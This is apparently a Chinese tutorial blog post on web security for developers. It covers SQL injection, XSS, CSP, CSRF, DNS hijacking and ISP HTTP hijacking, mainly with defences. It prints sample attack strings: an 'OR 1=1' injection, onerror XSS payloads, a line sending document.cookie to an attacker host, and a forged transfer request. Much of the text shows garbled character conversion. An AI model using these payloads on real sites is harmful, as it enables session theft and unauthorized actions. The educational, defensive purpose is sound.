从技术到安全, 这是一个趋势. 之前追求的是比较炫酷的技术, 等实现事后发现, 本身还能作什么. 炫技完了以后,差很少就该到悟道的时候了. 用户安全, 就是一个很大的禅. 苹果拒绝 FBI, google拒绝 替换 Michelle 图片。 这些都是保障用户安全性的一个重要示范. 而, 网页安全又是一个巨坑, 基本上没有大量的时间和精力投入,你基本上是爬不出来的. 那这个坑有多深呢? 我这里挖了浅浅的一层土, 给你们看看.javascript
根据名字, 咱们大体能够猜想到. 这个攻击是和sql数据库相关的(关系型数据库).
系统的解释一下:
sql 注入: 指的是攻击者注入一段恶意的脚本, 而后执行他想要的结果。 好比: 获取到该db 里面全部的数据,删除数据库数据.(因为, 后台给前台开放的接口一般只是做为查询使用, 全部 获取db 全部数据这类攻击比较常见).php
这类攻击一般发生在,后台使用动态脚本生成sql query string. 并且, 途中不通过混淆处理. 以下:css
var name = req.query.userName; var pass = req.query.password; sql = "SELECT id FROM users WHERE username='" + uname + "' AND password='" + pass + "'"; database.execute(sql);
而后,attacker 能够 写入以下的sql query string:html
"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";
即, 将pass写为: pass'+"OR 1=1"+'; 并, 发送给服务端处理.
额... 结果的话, 你应该懂的
上面sql injection 只是 一个比较友好的 入侵(这算是良心黑客). 若是, 你的sql statement的操做权限不只仅只限于查询, 还包括CRUD操做的话. 那么,hacker 能作的就大了去了.前端
若是你的接口涉及 修改. 当hacker, inject 了一段 代码,破坏你的数据的完整性. 这种状况可能形成, 其余查询时,会出现无效查询的结果.(void transaction), 甚至返回别人的数据.java
若是你的接口 涉及 删除. 那结果我就很少说了.node
另外, 还有一些关于admin 或者 visitor的权限分配。 这也是考察数据库安全性的一个标准.nginx
第一类方法, 算是一个比较笨笨的。 经过一个blacklists正则匹配, 检测 query string里面的参数, 将一些能够字符排除掉。git
第二类方法,也是最经常使用的。 使用数据库自带的一系列函数进行查询. 这个应该不用多说, 数据库自带库的函数 内部 对参数的处理,必定比咱们重复造轮子检测正确性高~
好比, mongoDB 中的插入:
collection.insertMany([],cb)程序员
XSS(Cross-site scripting). 你问我为何不是CSS? 我也不知道.
XSS主要是指跨脚本攻击, 其实就至关于执行js脚本. 常常出如今评论回复的逻辑页面中.
以及回复:
咱们先理解一下, 评论回复的流程.
正常状况下:
用户评论的内容--comment
异步发送给Server, server 将其存储在数据库中。 成功时, 则返回新加的评论--comment
此时, 使用<p>comment</p>
将评论渲染出来.
上面一个流程能够很容易的说明一个道理, 即, 没有对comment 进行任何的处理. 在这种状况下, XSS 简直就是如鱼得水。
好比:
//comment 为: <script type="text/javascript"> console.log(123); </script> //渲染出来的内容为: <p> <script type="text/javascript"> console.log(123); </script> </p>
最终渲染到页面上的结果是, p里面的内容为空,控制台输出了123.
实际上, 评论已经被保存在数据库。 当其余用户访问时,该评论中的script 脚本一样会 发生做用.(可怕ing) 这才是, XSS 攻击最让人头疼的地方.
下图是基本运做流程图: from acunetix
XSS 其实, 不只仅只有script 这个东西可使用. 凡是涉及用户输入而且渲染到页面上的,都有可能被XSS。
好比:
模板 | 实际渲染 |
---|---|
< img src=usrInput> | < img src="#" onerror="alert('XSS')"/> |
< iframe src=usrInput> | < iframe src="http://xss.html"> |
< input type=userInput> | < input type="image" src="#" onerror="alert('XSS')"/> |
background插入 | background:url(javascript:alert(XSS)); |
... | ... |
因此上面就是针对标签属性进行XSS 攻击. 这类方式的防止很好解决。就是使用setAttribute方法进行设置便可.
经过将脚本嵌套在正规页面上, 用户在打开该页面时, 根本没法察觉, 本身已经变成XSS's victim. 因此, 当用户打开网站时, malicious 脚本便会执行. 该脚本一般能作的事情:
经过document.cookie 获取用户的cookie信息. 并且,若是你的token 不是放在Server 端,而是放在用户cookie中,那么hacker 就彻底得到该用户的信息, 假冒用户进行登陆.
好比: window.location='http://attacker/?cookie='+document.cookie
脚本可以对界面进行修改
若是页面上有用户输入的私密信息,好比银行帐号,密码等。就能够绑定监听, 并经过ajax将信息发送给hacker. (跨域彻底能够经过CORS解决)
使用H5的相关API, 得到用户的人身信息. 好比, 摄像头, 地理位置等. 固然, 用户也不是傻, 不会无缘无故的就把确认点了(使用这些API时, 须要获取用户的赞成). 但在 social engineering 面前, 这一切都不是事.
地址的重定向, 这应该不用过多解释. 只要使用window.location.href
便可.
如今,咱们已经知道xss的原理,即, 经过嵌入script脚本, 执行恶意的操做. 因此, 最基本的防御能够分为两种:
验证: 经过验证用户输入的内容, 是否符合规则. 防止hacker插入, 恶意代码.
Encoding: 其实就至关于字符的转义. 好比: 将'<' 转换为: <. '>'转换为: >. (防止插入<script>或者其余tag--< p>< /p>)
验证
实际上, 验证能够分为blacklist 和 whitelist验证. 不过,blacklist 只是做为介绍, 在正式开发中, 最常使用的应该算是whitelist.
blackList
这种方法其实就至关于枚举法, 只是, 他猜想的方向是针对hacker用户. 好比. 设置一个正则./<script/g
. 使用,replace进行替换, 或者弹出提醒框.
whitelist
这和blacklist同样, 只是里面设置的是对正确内容的验证. 该方法,主要是注册时候使用。 对用户名, 昵称等信息,使用相关的正则表达式进行验证。 这就是典型的whitelist 方法.
Encoding:
这个方法就比较实诚了,没有浮夸的正则. 有的是一些自定义的convert。 好比上面提到的:
Convert & to &
;
Convert < to <
;
Convert > to >
;
Convert " to "
;
Convert ' to '
;
Convert / to /
;
这样, 能够防止嵌入的scipt脚本执行, 使其变为 data 直接渲染到页面上. 下面咱们针对不一样的场景具体说明一下, XSS保护的措施.
在讲解标签防御以前,我再把上面的XSS attack实例搬下来:
模板 | 实际渲染 |
---|---|
< img src=usrInput> | < img src="#" onerror="alert('XSS')"/> |
< iframe src=usrInput> | < iframe src="http://xss.html"> |
< input type=userInput> | < input type="image" src="#" onerror="alert('XSS')"/> |
... | ... |
上面提到了,可使用setAttribute进行内部的encoding. 在client-side 还有其余方法能够实现.
用户输入 | 转义方法 |
---|---|
< p>usrInput< /p> | eleP.textContent=usrInput |
< p attr> | ele.setAttribute(attr,usrInput) or ele[attr]=usrInput |
URL param | window.encodeURLComponent(usrInput) |
style value | ele.style.prop = usrInput |
简而言之就是尽可能在操做用户输入的数据的时候,减小innerHTML和outerHTML出现的频次.
这里,还须要对URL para作一点补充.
对于encoding的方法,原生js 提供了3个global Funciton.
escape()
encodeURI()
encodeURIComponent()
实际上,他们3个均可以做为encoding的方法. 可是, 既然均可以,那为何会有3个呢?
in fact, 他们的专业方向仍是很不同的.
escape()
该方法主要是对字符串(string)进行编码(ascii). 全部的空格,标点,以及任意的非ASCII字符都会被形如: %xx
的替代. 若是 character 的 比特数>255 则会使用 %uxxxx
来代替--最明显的例子就是中文. 其中,这几个字符@*/+
不会被编码.
接受的参数就是string. 即. escape(str); 详细demo 能够参考:xkr escape.
其对应的decode的方法是: unescape();
该方法主要的应用场景是对 传输内容进行转换, 好比插入数据库的内容等. (实话说,使用频次仍是挺低的)
encodeURI()
该方法是一个比较经常使用的编码url的方法. 一般,是用来将url字符所有转化为合法字符, 进行传输.
好比: encodeURI("http://example.com?name=坏人")
输出的结果为:http://example.com?name=%E5%9D%8F%E4%BA%BA
.
encodeURI 不会对下列字符进行convert:ASCII字母,数字,~!@#$*()=:/,;?+& '
对应的decode方法为: decodeURI
主要使用场景有:对URL进行编码,
以及post方式,指定Content-Type:application/x-www-form-urlencoded 时,传输的encodeURI(str)内容.
encodeURIComponent()
这个方法最容易和encodeURI 混淆. 实际上, 该方法只针对于URI中的 query.(甚至连search部分都不能用,想一想都是怕的).
该方法不会对: ASCII字母 数字 ~!*()'
进行convert.
其对应的decode方法有: decodeURIComponent
因此, 在形如.< a href="http://example.com?usrInput">link</a >
咱们就须要对usrInput进行encodeURI(), 编码转化了.
以及,在动态添加styel时,对于background或者background-url里的, usrInput 进行encodeURI().
这个主要就是针对于评论内容了. 不过因为内容过于复杂,这里就不详述。 大概就是上面的几点,以及 字符的转化.
推荐使用XSS module 进行转化.
我一直深信着一句话
There is no absolute security system
就算一个小小的lapse也会给hacker 可乘之机. 因此, 在进行XSS 防御时, 不免会有些遗漏, CSP 应该算是在hacker 找到漏洞后的一道有力的防线.CSP 我已经在我另一篇博文里面阐述了CSP页面防御
CSP的设计目的就是为了加强网页的安全性,解放程序员和hacker的死磕. 并且,对于XSS的防御有这自然的优点. 由于XSS,主要就是插入内嵌或者 跨域的script 执行.
而CSP能够作到的就有:
不加载不安全脚本
不执行内联脚本
不执行eval函数
那, 应该如何使用呢?
CSP主要和响应头--Content‑Security‑Policy 相关.
经过server-side 返回Content‑Security‑Policy 头,来启用不一样程度的防御措施. 这里,咱们只介绍于XSS相关的.
一般,咱们能够在CSP 头里设置一些相关directive.好比:
default-src: 默认资源设置, 好比js,css,img,fonts,xhr等
script-src: 设置js脚本的相关方法
style-src: 设置css脚本的相关方法
img-src: 设置图片的相关方法
child-src: 设置iframe的相关sandbox
...
不过咱们通常只须要了解前4个便可. 每一个值能够取相关的属性.好比: default-src self
. 表示默认页面的资源只能加载同域的内容.
咱们来着重看一下 default-src
能够设置的内容
property | effect |
---|---|
none | 不容许从任何地方加载资源(估计用不上) |
self | 运行从同域的server下载资源 |
unsafe-inline | 容许运行内联脚本 |
unsafe-eval | 容许运行eval方法 |
好比: 咱们能够设置 script-src 'self'
. 此时, 只容许同域资源. 而且不会执行内联脚本和eval函数. 若是解除二者的限制,能够添加上.script-src 'self' 'unsafe-inline';
另外, 咱们还能够设置跨域脚本的执行script-src 'self' http://example.com
这样,资源不只仅能够从同源server-side下载,还能够从example.com 下载.
推荐一个,比较好的CSP头的设置内容:
script‑src 'self' scripts.example.com; img‑src *; default‑src 'self' http://*.example.com
那如何启用CSP呢?
在nginx下,给conf配置文件, 加上以下的内容.add_header Content-Security-Policy "default-src 'self';";
CSP参考文献:
CSP.com
CSRF or cross-site request forgery or 跨域假冒请求. 他的工做原理是, 经过GET 或者 POST发送相应的信息给一个信息网站, 好比, 银行网, 信贷网, 百合网等. 在发送过程当中, 实际上该次请求会带上你的本来的IP address 和 cookie info.
实例
假设,网站www.example.com 没有进行CORS(跨域请求设置), 赞成任意域名的访问,即:Access-Control-Allow-Origin: '*';
那么, 若是该网站的某个路由设置不当,就有可能发生CSRF. 如今, hacker 给 victim 发送一封 e-HTML 邮件. 邮件里面有这样一段内容:<img src="https://www.example.com/transfer?amount=1000&destination=jimmy">
翻译一下, 就是给jimmy帐户, 转过去100¥. 固然, 前提是, 该接口知足该方式的访问.
当用户打开该email时, img会当即发送一个请求。 假设, 你的登陆状态(session cookie) 还未过时, 在该请求中,会一并带上在https://www.example.com/transfer
下存储的cookie. 至关于得到了你已经登陆的权限, 假冒你进行相关的操做. 可是, referer 里的内容是不会被改变的, 即若是你是从 www.malicious.com 发的请求, 那么referer 仍是 www.malicious.com(提示: 跨域)
so, 不过目前来讲,没有哪位童鞋会经过 最让hacker喜欢的get方式, 去传输如此重要的信息.并且在get传输的时候, 有心的dev也会作相关的混淆.
那, CSRF就没有办法了么?
actually, 没了get 我还有POST. 不过, 咱们这里并非讨论ajax的 跨域post. 由于ajax的post请求,只会发送当前页的cookie, 而不会在浏览器中搜索目标页的cookie. 并且, CSRF的工做环境是user PC. 而Form 表单发送就是CSRF最好的post 发送方式, 便可以带上cookie, 又能够避免浏览器的跨域干涉. 下列是, CSRF经常使用的几种方式
那CSRF 中, 一般怎么进行POST的发送呢?
很简单,构建一个form表单便可.
<form action="http://example.com" method="POST"> <input type="text" name="account"> <input type="text" name="password"> <input type="submit"> </form>
将表单插入到你malicious 网页内部, 利用社工, 诱导用户进入你的页面,而后发送内容. 若是你想作的比较隐蔽的话,可使用iframe, 额外将表单引入, 而后, 自动执行submit 操做.
如今,hacker都能经过 GET 和POST, 巧妙的获取用户的session. 那, how to prevent CSRF?
CSRF有3个特性: 跨域, cookie, 请求方式. 因此,只要阻断其中一个,那么CSRF 就能够 go die了.
这个就很好理解了, 即, 前端和后台双方协定一个token内容 , 或者直接由 back-end 生成 random token. 而后在有请求到来时,server-side 进行Token验证.
<form action="https://example.com/tweet" method="POST"> <input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn" /> </form>
这里的value 就能够用来做为request有效性的说明. 一般设置的token也是有讲究的, 好比可使用 指定字符+time来生成, 指定字符+salt生成. 这些Token验证方式,咱们均可以本身下去琢磨的。
因此, 就算hacker生成了 form表单, 可是, 他的验证内容可能已通过期(无效Token).
一样, 咱们还能够在cookie中设置验证Token. 原理我就不过多介绍了, cookie中设置的内容和上文在form中设置的其实差很少. 另外, 还须要注意的是,针对重要cookie, 须要设置 httpOnly的选项, 防止用户脚本获取cookie内容.
由于, form 传输的格式为:
Content-Type: application/x-www-form-urlencoded
而,JSON的传输类型为:
Content-Type: application/json
form 没有办法去模仿JSON类型进行传输,因此,这也是一个很好的办法.
另外, 若是不得不使用form表单方式提交, 还有另一种方式. 咱们能够经过request Header中的referrer属性, 来得到发送脚本的地址. 经过whitelist, 来容许指定域的请求访问.
关于DNS劫持, 事实上更偏向于User,由于, developer实际上,对这个也无能为力。 咱们来简述一下,DNS hijack的过程。
若是你们清楚DNS 的解析过程话,上图的逻辑就很清楚了。 用户输入一个真域名,向 fake DNS Server 发起UDP请求,而后, DNS返回一个malicious的IP地址, 结果,用户打开的是一个全屏广告,或者是 妹妹寂寞的网页.
actually, 上图还忽略了一个很重要的步骤, 就是 用户如何会向 fake DNS Server 发请求的呢?
实际上, 这个锅,须要用户背. 之前trojan horse (木马病毒)盛行的时候, OS的安全性 真的 有点可怜. 当user 下载 来源不明的video,image, software... 极可能会附带上蜜汁病毒, 而后,病毒会修改你的ISP服务配置, 即, 就是你的DNS提供商的IP地址. 而后, hacker会将他control的DNS Server 填加进去. 那, 咱们怎样才能知道本身被hack了呢? 很简单,google呗.对于,MAC用户, 只要找到你的DNS列表,而后对应FBI或者国家安全网提供的DNSchanger IP对照一下,若是有就cleanup一下.
虽然DNS hijack的攻击成本很大, 可是,成功后的profit 也是至关大的. hacker 能够将fake的银行网页信息发给你, 诱骗你的account. 或者 将正确的网页缓存, 插入更多的广告收取广告费用.
事实上, 只有一种办法,洁身自好~ (你懂的)
首先,我google了--HTTP 劫持, 结果, 歪果仁对于ISP hijacking的认识, 仍是蛮少的,结果全是神马DNS劫持之类的. 后来, 我特么换了中文搜索--http 劫持. 我就很少说了. 看来国人对于HTTP 劫持的认识仍是超级深入啊喂. 缘由是什么-- 广告呗~
看一个常见的弹窗广告:
你能够关闭他, 可是, 特么每次打开都要关闭, 超级烦~
试想一下, 当你打开一个页面, 结果左侧右侧全是些 iframe广告, 第一个反应是, 网业主, 你是否是穷疯了, 没事给本身页面添这么多广告是干吗... 网页主 莫名的背锅. 而后, 只能对这些小白深深的叹口气-- 亲, 这不是我干的, 这是电信, 联通那些ISP 提供商干的...
因此, 因为没有完备的网络法, 对于ISP 干的这些龌蹉勾当,监管局根本不鸟你. 因此, 你懂的.
这里咱们要清楚一点, CN的运营商并非hacker, 他不会这样或那样的获取用户的信息(我没说郭嘉的墙), 可能为了商业目的,会变得没有节操,给你安放一点广告. 因此, 这里hacker并无插入, 没节操的只是运营商.
ok~ 咱们正式来看一下ISP如何劫持的HTTP流量的:
当C->S 发送一个网页请求
ISP 得到以后, 给他本身的缓存服务器
若是命中缓存, 则返回已经修改事后的页面信息(满屏操广告). 若是没有, 要么是你的网页浏览量不够,要么是别人已经存满了,你的网页侥幸的没有被插菊花.
命中后,缓存服务器假装为S,给C发送一个302(临时移动,告诉你,应该从另一个地方去取资源). 因为, 这是个重定向,因此传输速度就不用说了, C 就只能乖乖的去缓存服务器那取资源. 而忽略正确的Server返回的数据.
以后的事,就是你看到的网页了. 那咱们有没有什么防御措施呢?
首先, 咱们须要明确一点, 这里的防御有两点:
User 对抗 ISP
developer 对抗 ISP
直接和你家网络提供商打电话,让他取消广告推送.
该方法须要对技术有点了解特别是对网络结构模块有了解--网关,代理,隧道,ip等. 参考:HTTP 防劫持
简单有效的方式是,使用HTTPS 加密方式传输. 由于, ISP就是经过抓你的HTTP包,而后分析里面的内容,最终获得结果. 而使用HTTPS 方式, 即便ISP 获得你的HTTPS包,因为有SSL 的加密, 他也不能得到你的包内容.
替换你的js的提供商,使用HTTPS路径进行加载。好比使用七牛的HTTPS提供的脚本服务. 由于, ISP 不经能够结果你的HTML, 也能够结果你网页中全部的HTTP请求,而js又是最重要的内容,因此,把这个控制到了,那么你网页能够抵挡差很少80%的HTTP 劫持.
因为本人精力和知识有限. 只能归纳以上的一些Attack方式, 固然,网络安全一直就是个迷。 DDOS 永远没法破, 各类无厘头的攻击。 不过, 正所谓 竞争才有动力嘛~
上图:
这是一个很简单的一维flowchart, 如何构建本身的一个网络体系,是须要时间和精力投入的,当本身有一个完整的flowchart以后,我相信,你对网络安全的趋势也一定有所了解.
孩纸,你太天真了. 网络世界哪有安全, 洗洗睡吧.顺便点个赞.
转载请注明做者和原文连接:https://segmentfault.com/a/11...